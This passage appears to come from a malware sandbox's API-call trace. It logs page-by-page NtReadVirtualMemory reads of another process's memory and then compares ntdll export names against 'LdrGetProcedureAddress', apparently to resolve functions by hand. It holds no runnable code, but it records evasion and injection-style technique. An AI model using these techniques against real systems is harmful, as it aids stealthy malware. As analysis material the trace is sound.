Buffer=0x9d31000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d31000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.455] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d2000, Buffer=0x9d32000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d32000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d3000, Buffer=0x9d33000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d33000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d4000, Buffer=0x9d34000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d34000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d5000, Buffer=0x9d35000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d35000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d6000, Buffer=0x9d36000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d36000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d7000, Buffer=0x9d37000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d37000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d8000, Buffer=0x9d38000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d38000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.456] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d9000, Buffer=0x9d39000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d39000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773da000, Buffer=0x9d3a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773db000, Buffer=0x9d3b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dc000, Buffer=0x9d3c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dd000, Buffer=0x9d3d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773de000, Buffer=0x9d3e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773df000, Buffer=0x9d3f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.457] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e0000, Buffer=0x9d40000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d40000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e1000, Buffer=0x9d41000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d41000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e2000, Buffer=0x9d42000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d42000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e3000, Buffer=0x9d43000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d43000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e4000, Buffer=0x9d44000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d44000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e5000, Buffer=0x9d45000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d45000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e6000, Buffer=0x9d46000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d46000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.458] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e7000, Buffer=0x9d47000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d47000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e8000, Buffer=0x9d48000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d48000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e9000, Buffer=0x9d49000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d49000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ea000, Buffer=0x9d4a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773eb000, Buffer=0x9d4b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ec000, Buffer=0x9d4c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ed000, Buffer=0x9d4d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.459] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ee000, Buffer=0x9d4e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ef000, Buffer=0x9d4f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f0000, Buffer=0x9d50000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d50000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f1000, Buffer=0x9d51000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d51000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f2000, Buffer=0x9d52000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d52000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f3000, Buffer=0x9d53000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d53000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f4000, Buffer=0x9d54000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d54000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f5000, Buffer=0x9d55000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d55000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.460] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f6000, Buffer=0x9d56000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d56000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f7000, Buffer=0x9d57000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d57000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f8000, Buffer=0x9d58000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d58000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f9000, Buffer=0x9d59000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d59000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fa000, Buffer=0x9d5a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fb000, Buffer=0x9d5b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.461] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fc000, Buffer=0x9d5c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fd000, Buffer=0x9d5d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fe000, Buffer=0x9d5e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ff000, Buffer=0x9d5f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77400000, Buffer=0x9d60000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d60000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77401000, Buffer=0x9d61000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d61000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77402000, Buffer=0x9d62000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d62000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77403000, Buffer=0x9d63000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d63000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.462] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77404000, Buffer=0x9d64000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d64000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77405000, Buffer=0x9d65000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d65000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77406000, Buffer=0x9d66000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d66000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77407000, Buffer=0x9d67000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d67000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77408000, Buffer=0x9d68000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d68000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77409000, Buffer=0x9d69000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d69000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740a000, Buffer=0x9d6a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.463] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740b000, Buffer=0x9d6b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740c000, Buffer=0x9d6c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740d000, Buffer=0x9d6d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740e000, Buffer=0x9d6e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740f000, Buffer=0x9d6f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77410000, Buffer=0x9d70000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d70000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77411000, Buffer=0x9d71000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d71000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.464] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77412000, Buffer=0x9d72000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d72000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77413000, Buffer=0x9d73000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d73000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77414000, Buffer=0x9d74000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d74000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77415000, Buffer=0x9d75000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d75000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77416000, Buffer=0x9d76000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d76000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77417000, Buffer=0x9d77000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d77000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77418000, Buffer=0x9d78000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d78000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.465] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77419000, Buffer=0x9d79000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d79000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741a000, Buffer=0x9d7a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741b000, Buffer=0x9d7b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741c000, Buffer=0x9d7c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741d000, Buffer=0x9d7d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741e000, Buffer=0x9d7e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741f000, Buffer=0x9d7f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.466] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77420000, Buffer=0x9d80000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d80000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77421000, Buffer=0x9d81000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d81000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77422000, Buffer=0x9d82000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d82000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77423000, Buffer=0x9d83000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d83000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77424000, Buffer=0x9d84000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d84000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77425000, Buffer=0x9d85000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d85000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77426000, Buffer=0x9d86000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d86000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77427000, Buffer=0x9d87000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d87000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.467] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77428000, Buffer=0x9d88000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d88000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77429000, Buffer=0x9d89000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d89000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742a000, Buffer=0x9d8a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8a000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742b000, Buffer=0x9d8b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8b000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742c000, Buffer=0x9d8c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8c000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742d000, Buffer=0x9d8d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8d000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742e000, Buffer=0x9d8e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8e000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742f000, Buffer=0x9d8f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8f000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77430000, Buffer=0x9d90000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d90000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77431000, Buffer=0x9d91000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d91000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.468] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77432000, Buffer=0x9d92000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d92000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77433000, Buffer=0x9d93000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d93000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77434000, Buffer=0x9d94000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d94000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77435000, Buffer=0x9d95000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d95000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77436000, Buffer=0x9d96000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d96000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77437000, Buffer=0x9d97000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d97000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.469] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77438000, Buffer=0x9d98000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d98000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.482] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0044.482] lstrcmpA (lpString1="AlpcGetHeaderSize", 